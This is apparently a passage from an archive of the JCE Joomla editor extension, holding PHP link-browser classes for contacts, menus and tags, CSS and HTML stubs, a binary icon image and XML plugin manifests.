                $categories = WFLinkBrowser::getCategory('com_contact', $args->id, $this->get('category_alias', 1));

                foreach ($categories as $category) {
                    $children = WFLinkBrowser::getCategory('com_contact', $category->id, $this->get('category_alias', 1));

                    // language
                    if (isset($category->language)) {
                        $language = $category->language;
                    }

                    if ($children) {
                        $id = RouteHelper::getCategoryRoute($category->id, $language, 'com_contact');
                    } else {
                        $id = RouteHelper::getCategoryRoute($category->slug, $language, 'com_contact');
                    }

                    // convert to SEF
                    $url = self::route($id);

                    $items[] = array(
                        'url' => $url,
                        'id' => $id,
                        'name' => $category->title . ' / ' . $category->alias,
                        'class' => 'folder content',
                    );
                }

                $contacts = self::getContacts($args->id);

                foreach ($contacts as $contact) {
                    // language
                    if (isset($contact->language)) {
                        $language = $contact->language;
                    }

                    $id = $router->getRoute($contact->id, 'com_contact.contact', '', $language, $args->id);
                    $id = self::route($id);

                    $items[] = array(
                        'id' => $id,
                        'name' => $contact->name . ' / ' . $contact->alias,
                        'class' => 'file',
                    );
                }
                break;
        }

        return $items;
    }

    private static function route($url)
    {
        $wf = WFEditorPlugin::getInstance();

        if ((bool) $wf->getParam('links.joomlalinks.sef_url', 0)) {
            $url = WFLinkHelper::route($url);
        }

        // remove Itemid if "home"
        $url = WFLinkHelper::removeHomeItemId($url);

        // remove Itemid
        if ((bool) $wf->getParam('links.joomlalinks.itemid', 1) === false) {
            $url = WFLinkHelper::removeItemId($url);
        }

        return $url;
    }

    private static function getContacts($id)
    {
        $db = Factory::getDBO();
        $user = Factory::getUser();

        $query = $db->getQuery(true);
        $query->select('id, name, alias, language')->from('#__contact_details')->where(array('catid=' . (int) $id, 'published = 1'));

        if (!$user->authorise('core.admin')) {
            $query->where('access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
        }

        $db->setQuery($query);

        return $db->loadObjectList();
    }
}
com_jce/editor/extensions/links/joomlalinks/css/joomlalinks.css000060400000000056152453734450021127 0ustar00.unpublished .uk-icon::before{content:"\e99d"}com_jce/editor/extensions/links/joomlalinks/css/index.html000060400000000054152453734450020066 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/links/joomlalinks/menu.php000060400000024121152453734450016757 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Object\CMSObject;
use Joomla\Registry\Registry;
use Joomla\CMS\Uri\Uri;

class JoomlalinksMenu extends CMSObject
{
    private $option = 'com_menu';

    /**
     * Returns a reference to a editor object.
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance($options = array())
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self($options);
        }

        return $instance;
    }

    public function getOption()
    {
        return $this->option;
    }

    public function getList()
    {
        return '<li id="index.php?option=com_menu" class="folder menu nolink"><div class="uk-tree-row"><a href="#"><span class="uk-tree-icon"></span><span class="uk-tree-text">' . Text::_('WF_LINKS_JOOMLALINKS_MENU') . '</span></a></div></li>';
    }

    public function getLinks($args)
    {
        $items = array();
        $view = isset($args->view) ? $args->view : '';
        switch ($view) {
            // create top-level (non-linkable) menu types
            default:
                $types = self::getMenuTypes();
                foreach ($types as $type) {
                    $items[] = array(
                        'id' => 'index.php?option=com_menu&view=menu&type=' . $type->id,
                        'name' => $type->title,
                        'class' => 'folder menu nolink',
                    );
                }
                break;
            // get menus and sub-menus
            case 'menu':
                $type = isset($args->type) ? $args->type : 0;
                $id = $type ? 0 : $args->id;

                $menus = self::getMenu($id, $type);

                foreach ($menus as $menu) {
                    $class = array();

                    // bypass errors in menu parameters syntax
                    try {
                        $params = new Registry($menu->params);
                    } catch (Exception $e) {
                        $params = new Registry();
                    }

                    switch ($menu->type) {
                        case 'separator':
                            if (!$menu->link) {
                                $class[] = 'nolink';
                            }

                            $link = '';
                            break;

                        case 'alias':
                            // If this is an alias use the item id stored in the parameters to make the link.
                            $link = 'index.php?Itemid=' . $params->get('aliasoptions');
                            break;

                        default:
                            // resolve link
                            $link = $this->resolveLink($menu);
                            break;
                    }

                    $children = (int) self::getChildren($menu->id);
                    $title = isset($menu->name) ? $menu->name : $menu->title;

                    if ($children) {
                        $class = array_merge($class, array('folder', 'menu'));
                    } else {
                        $class[] = 'file';
                    }

                    if ($params->get('secure')) {
                        $link = self::toSSL($link);
                    }

                    // language
                    if (isset($menu->language)) {
                        $link .= $this->getLangauge($menu->language);
                    }

                    $items[] = array(
                        'id' => $children ? 'index.php?option=com_menu&view=menu&id=' . $menu->id : $link,
                        'url' => self::route($link),
                        'name' => $title . ' / ' . $menu->alias,
                        'class' => implode(' ', $class),
                    );
                }
                break;
            // get menu items
            case 'submenu':
                $menus = self::getMenu($args->id);
                foreach ($menus as $menu) {
                    if ($menu->type == 'menulink') {
                        //$menu = AdvlinkMenu::_alias($menu->id);
                    }

                    $children = (int) self::getChildren($menu->id);

                    $title = isset($menu->name) ? $menu->name : $menu->title;

                    // get params
                    $params = new Registry($menu->params);

                    // resolve link
                    $link = $this->resolveLink($menu);

                    // language
                    if (isset($menu->language)) {
                        $link .= $this->getLangauge($menu->language);
                    }

                    if ($params->get('secure')) {
                        $link = self::toSSL($link);
                    }

                    $items[] = array(
                        'id' => self::route($link),
                        'name' => $title . ' / ' . $menu->alias,
                        'class' => $children ? 'folder menu' : 'file',
                    );
                }
                break;
        }

        return $items;
    }

    /**
     * Convert link to SSL.
     *
     * @param type $link
     *
     * @return string
     */
    private static function toSSL($link)
    {
        if (strcasecmp(substr($link, 0, 4), 'http') && (strpos($link, 'index.php?') !== false)) {
            $uri = Uri::getInstance();

            // Get prefix
            $prefix = $uri->toString(array('host', 'port'));

            // trim slashes
            $link = trim($link, '/');

            // Build the URL.
            $link = 'https://' . $prefix . '/' . $link;
        }

        return $link;
    }

    private function resolveLink($menu)
    {
        $wf = WFEditorPlugin::getInstance();

        // get link from menu object
        $link = $menu->link;

        // internal link
        if ($link && strpos($link, 'index.php') === 0) {
            if ((bool) $wf->getParam('links.joomlalinks.menu_resolve_alias', 0)) {
                // no Itemid
                if (strpos($link, 'Itemid=') === false) {
                    $link .= '&Itemid=' . $menu->id;
                }
                // short link
            } else {
                $link = 'index.php?Itemid=' . $menu->id;
            }
        }

        return $link;
    }

    private static function getMenuTypes()
    {
        $db = Factory::getDBO();

        $query = $db->getQuery(true);

        $query->select('*')->from('#__menu_types')->where('client_id = 0')->order('title');

        $db->setQuery($query, 0);

        return $db->loadObjectList();
    }

    private static function getAlias($id)
    {
        $db = Factory::getDBO();
        $user = Factory::getUser();

        $query = $db->getQuery(true);

        $query->select('params')->from('#__menu')->where('id = ' . (int) $id);

        $db->setQuery($query, 0);
        $params = new Registry($db->loadResult());

        $query->clear();
        $query->select('id, name, link, alias')->from('#__menu')->where(array('published = 1', 'id = ' . (int) $params->get('menu_item')));

        if (!$user->authorise('core.admin')) {
            $query->where('access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
        }

        $query->order('name');

        $db->setQuery($query, 0);

        return $db->loadObject();
    }

    private static function getChildren($id)
    {
        $db = Factory::getDBO();
        $user = Factory::getUser();

        $query = $db->getQuery(true);

        $query->select('COUNT(id)')->from('#__menu')->where(array('published = 1', 'client_id = 0'));

        if (!$user->authorise('core.admin')) {
            $query->where('access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
        }

        if ($id) {
            $query->where('parent_id = ' . (int) $id);
        }

        $db->setQuery($query, 0);

        return $db->loadResult();
    }

    private static function getMenu($parent = 0, $type = 0)
    {
        $db = Factory::getDBO();
        $user = Factory::getUser();

        $query = $db->getQuery(true);

        $query->select('m.*')->from('#__menu AS m');

        if ($type) {
            $query->innerJoin('#__menu_types AS s ON s.id = ' . (int) $type);
            $query->where('m.menutype = s.menutype');
        }

        if ($parent == 0) {
            $parent = 1;
        }

        $query->where(array('m.published = 1', 'm.parent_id = ' . (int) $parent));

        if (!$user->authorise('core.admin')) {
            $query->where('m.access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
        }

        // only site menu items
        $query->where('m.client_id = 0');

        $query->order('m.lft ASC');

        $db->setQuery($query, 0);

        return $db->loadObjectList();
    }

    private function getLangauge($language)
    {
        $db = Factory::getDBO();
        $query = $db->getQuery(true);

        $link = '';

        $query->select('a.sef AS sef');
        $query->select('a.lang_code AS lang_code');
        $query->from('#__languages AS a');
        $db->setQuery($query);
        $langs = $db->loadObjectList();

        foreach ($langs as $lang) {
            if ($language == $lang->lang_code) {
                $language = $lang->sef;
                $link .= '&lang=' . $language;
            }
        }
        return $link;
    }

    private static function route($url)
    {
        $wf = WFEditorPlugin::getInstance();

        if ((bool) $wf->getParam('links.joomlalinks.sef_url', 0)) {
            $url = WFLinkHelper::route($url);
        }

        // remove Itemid if "home"
        $url = WFLinkHelper::removeHomeItemId($url);

        // remove Itemid
        if ((bool) $wf->getParam('links.joomlalinks.itemid', 1) === false) {
            $url = WFLinkHelper::removeItemId($url);
        }

        return $url;
    }
}
com_jce/editor/extensions/links/joomlalinks/img/icons.png000060400000012330152453734450017676 0ustar00�PNG


IHDR�����iCCPICC Profile(��T�OA-�b�""6�l<hc�,hbD[Z�֦|��l��ve�]g��#o�ƻ�#��������1!�5Fc��b���vQ��dv~��o~�͛��(�J�I3��0>1)4�� �FA�$z$�l����7`�z������1d����!��ԍ�:5�5�wO�:�z�i�� �cl,2��q��d��#>(��"ⶬ�^�a;�5'�F�"�iZ�+*����Zq��ޤ���'���Q�X��\q���Q�L�8�q-��j���ʃ��<Gbq�O��Fu8�r�})���4�FB�C7ӎN�USSC�~���aמW���=���������ay�@�R����$ڨ��.��b��;�!
(�A�@�8&Ъ�G�( CY�.���{*�e+� ���=�zC�W�}ݳ��R����(	�܀�]f;���r����-]_oZ��j��b	�b�>_ym1�)�ɝ�v
�<��V�,n���g�?Ԩ�K�"��̳_�9���g�8
��W�i+��4�E���,���q��Kr�\�%�2���pv�r|�����|��0��?�������۫���E|i��U�)ku����̘�R���Y����%��>KDHjrG� ��`����*�u{��븕�޲@˪g3�\����g���0���la�S�,��+����@�5��?�eϚ��漯ն�~4<ع_�}R��<E�M�W�O�#
�C��	pHYs��~�6iTXtXML:com.adobe.xmp<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/">
         <dc:subject>
            <rdf:Bag/>
         </dc:subject>
      </rdf:Description>
      <rdf:Description rdf:about=""
            xmlns:xmp="http://ns.adobe.com/xap/1.0/">
         <xmp:CreatorTool>Adobe Fireworks CS5 11.0.0.484 Macintosh</xmp:CreatorTool>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
Ifn=IDATh��{p\�}�?�ܻ+��I�~�,ٵ���Ȏ)$�L�y�4�LB�G�ԙv �$L���@�3a�6褍)�L3ng�q���1㗂L?�a�ڕ֫ݽ{���.+�ݕ�C�f�읽�|���s����֚3䇊��4'k7lX������)����q���f���7?���i�F���p�7��g��v�bʞ능�糯����\���##���a�x�+��lV��a>1o�vw38<\lx�W���ļy��a�lV�� =����t]y%{f0����q�`"��Ç��J��0���%8���U
���t-X�+r.��<��\<�+ҵ`�p��p�B�n�8)v:-]��]�@M
3g�d�|r�����@MM��0M�t�0���3���d����4���;x�OvvRWW�w���d�$�c���C2~=ۖ�֤-������#�$�йh�H��'���\�k{^��϶��RFֲ8{�<M��H�U
�H�����}�$���8Y��r5�K�]�p�D"�v_mW\A0�/ފ�yE3C��W�=X=o�5��FV��ٳ��^���~�mv/�j�U���k�Y����R2����A�@0}�cC]��ޅ�
u�>��{c��
VcXL�o��
l:� 9���G|�؏>����
�H�/��3�?|rJ�Z��[���G��(���ʑ#Gx|׮�k�Klݼ�Di_ߔ�m����9�e�M�%�J1::�>��v՚���N
�	! � `�MSJ�$	~��S\�x�#���o�k׮]���`D"׽��7�h��rZ$��_�֚H$Ž���}�R3{�G:DWW��1<�g��ť�K��u]iY��bY_��XԒ�,j��h���ms�@�4�uB�y�?�m��q\��q��V�̚E<��6�0�1�ZS`�U"�Ug4N��娩��6`z�4'��<�1h�=���a�6��`�6�\m e.5�R�ض�u���R�h=.�"z&����P8������({��att��{��8��!�@
�!�D��j�
��㠔�k�AJ9�S)Ud(�@��b���Á��^��,���T
˲��;E
�#e�,!�jjjFo����kj��_�~���h@�46⒦&0�N�e�@&��G.�����gO[�n�{�%�0�Ӧi"�$�H�!Z���:;NS����Ќ7�X��b�%!����w��h�E�#�)��*V�G�
�<oƿ��#9��ί�Jk�9–�;��f�z���G'�Bx�+�R(�E�6�e�΋�=��#�����"5�>������;n����D�?��
��Dc1�g��b�?��}'w�x�7�j)���9:f�$�n"������o�TL�Z�_[��_����u�$�!��q���V��%��z�0'O��SԘfQ��##������&R�+i
�R
��9sPJ���P�������6M

X�4�v])���>b��x���F)�R��˗c�66���q�:��bC�:��L&�!H���X�+��R__O<'���"��pyk+�P)%(5&ZWah�Rh��/�F�)*�0
-%H�s�j*:�-E��֚��z2�3c�b��߼��;���׋$,��]k�v9��R���P�LOk���Z�f���O�2�B��K���&��5��)���9 ���'JƆϞ�Z��~
KS_���H]�)c��p�YYx����cݩ��2�%�~����q��WL�����=�F��ۣp�\��uT�)�a�S>1��=�Y6��9�H�iH~��9�ri���>�wR��J�ˮc,i��H�i����璆:��i��/���SJ��Z!x��)ޡ�wϟ�	"��~�y��c���2��c�WneeJK�$��у�h�ϞW{�Y��>e�ʽ�c:Vbì%T%���0L]�;�ק�ʱ�ί\MTgh��avc#�--��4aҬ��R_��X�W]�?�[΂F�Ļ'I�=łK5��������! �r��E%�jf��b�{�'�����)'%��Μ�L
�$���v�\ �1���[[�v��v۶������]�,+_ߺuk���_�r�k��miiY��YXV�q�Zb�!���G~x�F`j�RʨeY{{{q]��kR�p�ΝuSN�4M�jժ�m�}������%㦔Z�s�NT~��Bttt��܌��\.gT�l����ѣ,_��@ @2�T�¸�L&Y�l����Ne�V�\��G?�с|F�2��;nB�}gΜy<9]�~����z�,�c�|?ȸ��r9ö�q�V���0�Lr����+Pu�*1��[�aa܄�ujR�����%K�l���m���"�EM��Q�8Lɣ��>���*�(��S�(��غiӉ���R��Gb՚��;)��(Ǐub����\NJ!x�Сq����)�(�y�2@/�~]�j)lf*�<ʄ�k��G)�j�Z�v~bb��l�E��y_@;��ĭ�Bu��)d��˕�A�m��(}}}E���z�����4�b,֧�&t��y.0,G���_��OgVK�>��99üG)�a"�@)Ed�X�SX�ű����C<��醰�������B���@CC�؆�H�y7��J&I_H|�h���

���Oo�WN��\H5���
|�e��BH�,�H�Ƌ_`&�;nX�tl�6����+2�D���`�[�*��(�[V�̊��K-��y��_��h�M[���O8�4�)"��0D"pⴊ�j�@�&�h�Cͷ���C��d��{�Z�%�4�B��Z�S)!D=0m�f9�u���z�������"�/�{���e鳙�>�J���������wΝ�烕?B�&��Ǿ�a��1AƗ?�z��jŅ��?Ļ{9�ӱ�uܯ��u.7i������<�ٻ�8��R�����7O�)L��'����{�q��|��_}}��	�WS
�W�8ݗc��k�r�B�R̼��hV^{˒�Oo��eX��!DeMIf��z^��ҕ5�p����O�b�c8����YF����U��\M9~F��Ħ(m���ιMD+h���O�5e,.���>�O�Z��d���Z�'������y@J���\ɧ������������ϰ�O��+�_�E���|���/�C�7_0yʕ|�*���AEI��(RB��-�Db�O�r�wrRbH�i���a�򵔼�)cXէ��H���R���ׇ��-[�?#�m�l�~�C;T�)Zk���o۾}���g���۷�ooo��Z�I#�ȷ����i����H$�j�'�T*�Ύ;���~ǎR��;U;L�X�y���X����<8x��G{6�5��0��E���h��Ø��8@[[�7����Z�v]�	�0���r�u�'����=U������^z饾����x�(�2��PJe
�v����c�V�XѶdɒ�|Sv�ضm[߬Y��֭�cK&�9����7�d2�#��ݱe֬Ym۶m�s��t]�hk�h[�z�7��so�F��L)�f4�TG��[7n��7W�^�@[[G���b�M�.�>�D��F|�ug�'LӼw�3��i��vv.{��^ԥ�"�ȺI�����τB���w�ӝ�K�ڱ�U�ٹ�ݻ��P(�����3~��.��P�:��v��,ˡ�6���mBl�f�/�v�y2$Z��a�b���S����0�[�ǗK�(`Te(�0�&ƴ"`�\!D����y��V8j��e�����/v�Q�B�SIEND�B`�com_jce/editor/extensions/links/joomlalinks/img/index.html000060400000000054152453734450020052 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/links/joomlalinks/tags.php000060400000010754152453734450016760 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\RouteHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Object\CMSObject;

class JoomlalinksTags extends CMSObject
{
    private $option = 'com_tags';

    /**
     * Returns a reference to a editor object.
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance($options = array())
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self($options);
        }

        return $instance;
    }

    public function getOption()
    {
        return $this->option;
    }

    public function getList()
    {
        return '<li id="index.php?option=com_tags" class="folder content nolink"><div class="uk-tree-row"><a href="#"><span class="uk-tree-icon"></span><span class="uk-tree-text">' . Text::_('WF_LINKS_JOOMLALINKS_TAGS') . '</span></a></div></li>';
    }

    public function getLinks($args)
    {
        require_once JPATH_SITE . '/components/com_tags/helpers/route.php';

        $items = array();
        $view = isset($args->view) ? $args->view : '';

        $language = '';

        // create a new RouteHelper instance
        $router = new RouteHelper();

        $tags = array();

        if (!isset($args->id)) {
            $args->id = 1;
        }

        // get any articles in this category (in Joomla! 1.6+ a category can contain sub-categories and articles)
        $tags = self::getTags($args->id);

        if (!empty($tags)) {
            // output article links
            foreach ($tags as $tag) {
                if (isset($tag->language)) {
                    $language = $tag->language;
                }

                $id = $router->getRoute($tag->slug ?? $tag->id, 'com_tags.tag', '', $language);
                $id = $this->route($id);

                $items[] = array(
                    'id' => $id,
                    'name' => $tag->title . ' / ' . $tag->alias,
                    'class' => 'file',
                );
            }
        }

        return $items;
    }

    private static function getTags($id)
    {
        $db = Factory::getDBO();
        $user = Factory::getUser();

        $wf = WFEditorPlugin::getInstance();

        $query = $db->getQuery(true);
        $query->select('a.id, a.title, a.alias');

        if ($wf->getParam('links.joomlalinks.tag_alias', 0)) {
            $case_when_item_alias = ' CASE WHEN ';
            $case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
            $case_when_item_alias .= ' THEN ';

            // Joomla 3 compatibility
            if (method_exists($query, 'castAsChar')) {
                $a_id = $query->castAsChar('a.id');
            } else {
                $a_id = $query->castAs('CHAR', 'a.id');
            }

            $case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
            $case_when_item_alias .= ' ELSE ';
            $case_when_item_alias .= $a_id . ' END as slug';
            $query->select($case_when_item_alias);
        }

        $query->from('#__tags AS a');
        $query->where('a.alias <> ' . $db->quote('root'));
        $query->where($db->qn('a.published') . ' = 1');

        if (!$user->authorise('core.admin')) {
            $groups = implode(',', $user->getAuthorisedViewLevels());
            $query->where('a.access IN (' . $groups . ')');
        }

        if (Multilanguage::isEnabled()) {
            $tag = Factory::getLanguage()->getTag();
            $query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
        }

        $query->order('a.title');

        $db->setQuery($query, 0);

        return $db->loadObjectList();
    }

    private static function route($url)
    {
        $wf = WFEditorPlugin::getInstance();

        if ((bool) $wf->getParam('links.joomlalinks.sef_url', 0)) {
            $url = WFLinkHelper::route($url);
        }

        // remove Itemid if "home"
        $url = WFLinkHelper::removeHomeItemId($url);

        // remove Itemid
        if ((bool) $wf->getParam('links.joomlalinks.itemid', 1) === false) {
            $url = WFLinkHelper::removeItemId($url);
        }

        return $url;
    }
}
com_jce/editor/extensions/links/joomlalinks.php000060400000005603152453734450016017 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\Filesystem\Folder;

class WFLinkBrowser_Joomlalinks
{
    public $_option = array();
    public $_adapters = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($options = array())
    {
        $wf = WFEditorPlugin::getInstance();

        $path = __DIR__ . '/joomlalinks';

        // Get all files
        $files = Folder::files($path, '\.(php)$');

        if (!empty($files)) {
            foreach ($files as $file) {
                $name = basename($file, '.php');

                if (!$this->checkOptionAccess($name)) {
                    continue;
                }

                // skip weblinks if it doesn't exist!
                if ($name == 'weblinks' && !ComponentHelper::isEnabled('com_weblinks')) {
                    continue;
                }

                require_once $path . '/' . $file;

                $classname = 'Joomlalinks' . ucfirst($name);

                if (class_exists($classname)) {
                    $this->_adapters[] = new $classname();
                }
            }
        }
    }

    protected function checkOptionAccess($option)
    {
        $wf = WFEditorPlugin::getInstance();

        $option = str_replace('com_', '', $option);

        if ($option === "contact") {
            $option = "contacts";
        }

        return (int) $wf->getParam('links.joomlalinks.' . $option, 1) === 1;
    }

    public function display()
    {
        // Load css
        $document = WFDocument::getInstance();
        $document->addStyleSheet(array('joomlalinks'), 'extensions/links/joomlalinks/css');
    }

    public function isEnabled()
    {
        $wf = WFEditorPlugin::getInstance();
        return (bool) $wf->getParam('links.joomlalinks.enable', 1);
    }

    public function getOption()
    {
        foreach ($this->_adapters as $adapter) {
            $this->_option[] = $adapter->getOption();
        }

        return $this->_option;
    }

    public function getList()
    {
        $list = '';

        foreach ($this->_adapters as $adapter) {
            $list .= $adapter->getList();
        }

        return $list;
    }

    public function getLinks($args)
    {
        $wf = WFEditorPlugin::getInstance();

        foreach ($this->_adapters as $adapter) {
            if ($adapter->getOption() == $args->option) {

                if (!$this->checkOptionAccess($args->option)) {
                    continue;
                }

                return $adapter->getLinks($args);
            }
        }
    }
}
com_jce/editor/extensions/links/joomlalinks.xml000060400000011220152453734450016020 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_LINKS_JOOMLALINKS_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_LINKS_JOOMLALINKS_DESC</description>
    <files>
        <filename>joomlalinks.php</filename>
        <folder>joomlalinks</folder>
    </files>
    <!--params group="links">
		<field name="joomlalinks" type="yesno" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
        	<option value="1">JYES</option>
        	<option value="0">JNO</option>
    	</field>
	</params-->
    <fields name="joomlalinks">
        <fieldset name="links.joomlalinks">
            <field name="content" type="yesno" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_CONTENT" description="WF_LINKS_JOOMLALINKS_PARAM_CONTENT_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="article_alias" type="yesno" default="0" label="WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_ALIAS" description="WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_ALIAS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="article_unpublished" type="yesno" default="0" label="WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_UNPUBLISHED" description="WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_UNPUBLISHED_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="static" type="yesno" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_UNCATEGORIZED" description="WF_LINKS_JOOMLALINKS_PARAM_UNCATEGORIZED_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="contacts" type="yesno" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_CONTACT" description="WF_LINKS_JOOMLALINKS_PARAM_CONTACT_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="weblinks" type="yesno" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_WEBLINKS" description="WF_LINKS_JOOMLALINKS_PARAM_WEBLINKS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="weblinks_alias" type="yesno" default="0" label="WF_LINKS_JOOMLALINKS_PARAM_WEBLINKS_ALIAS" description="WF_LINKS_JOOMLALINKS_PARAM_WEBLINKS_ALIAS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="menu" type="yesno" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_MENU" description="WF_LINKS_JOOMLALINKS_PARAM_MENU_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="menu_resolve_alias" type="yesno" default="0" label="WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_MENU_LINK" description="WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_MENU_LINK_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="tags" type="yesno" default="1" label="WF_LINKS_JOOMLALINKS_PARAM_TAGS" description="WF_LINKS_JOOMLALINKS_PARAM_TAGS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="tags_alias" type="yesno" default="0" label="WF_LINKS_JOOMLALINKS_PARAM_TAGS_ALIAS" description="WF_LINKS_JOOMLALINKS_PARAM_TAGS_ALIAS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="itemid" type="yesno" default="1" label="WF_LINKS_JOOMLALINKS_ITEMID" description="WF_LINKS_JOOMLALINKS_ITEMID_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="sef_url" type="yesno" default="0" label="WF_LINKS_JOOMLALINKS_SEF_URL" description="WF_LINKS_JOOMLALINKS_SEF_URL_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
        </fieldset>
    </fields>
    <plugins></plugins>
</extension>
com_jce/editor/extensions/filesystem/index.html000060400000000054152453734450016020 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/filesystem/joomla.xml000060400000004343152453734450016033 0ustar00<?xml version="1.0" ?>
<extension version="3.8">
    <name>WF_FILESYSTEM_JOOMLA_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_FILESYSTEM_JOOMLA_DESC</description>
    <files></files>
    <fields>
        <fieldset name="filesystem.joomla">
            <field name="allow_root" type="radio" default="0" label="WF_PARAM_ALLOW_ROOT" description="WF_PARAM_ALLOW_ROOT_DESC" class="btn-group btn-group-yesno">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="restrict_dir" type="checkboxes" class="flex-row" default="administrator,api,bin,cache,components,cli,includes,language,layouts,libraries,logs,media,modules,plugins,templates,tmp,xmlrpc" multiple="true" label="WF_PARAM_DIRECTORY_RESTRICTED" description="WF_PARAM_DIRECTORY_RESTRICTED_DESC" showon="allow_root:1">
                <option value="administrator">administrator</option>
                <option value="api">api</option>
                <option value="bin">bin</option>
                <option value="cache">cache</option>
                <option value="components">components</option>
                <option value="cli">cli</option>
                <option value="includes">includes</option>
                <option value="language">language</option>
                <option value="layouts">layouts</option>
                <option value="libraries">libraries</option>
                <option value="logs">logs</option>
                <option value="media">media</option>
                <option value="modules">modules</option>
                <option value="plugins">plugins</option>
                <option value="templates">templates</option>
                <option value="tmp">tmp</option>
                <option value="xmlrpc">xmlrpc</option>
            </field>
        </fieldset>
    </fields>
</extension>com_jce/editor/extensions/filesystem/joomla.php000060400000066106152453734450016027 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Client\ClientHelper;
use Joomla\CMS\Factory;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\Registry\Registry;

class WFJoomlaFileSystem extends WFFileSystem
{
    /**
     * A list of restricted directories if allowroot is set to true.
     *
     * @var array
     */
    protected $restricted = array(
        'administrator',
        'api',
        'bin',
        'cache',
        'components',
        'cli',
        'includes',
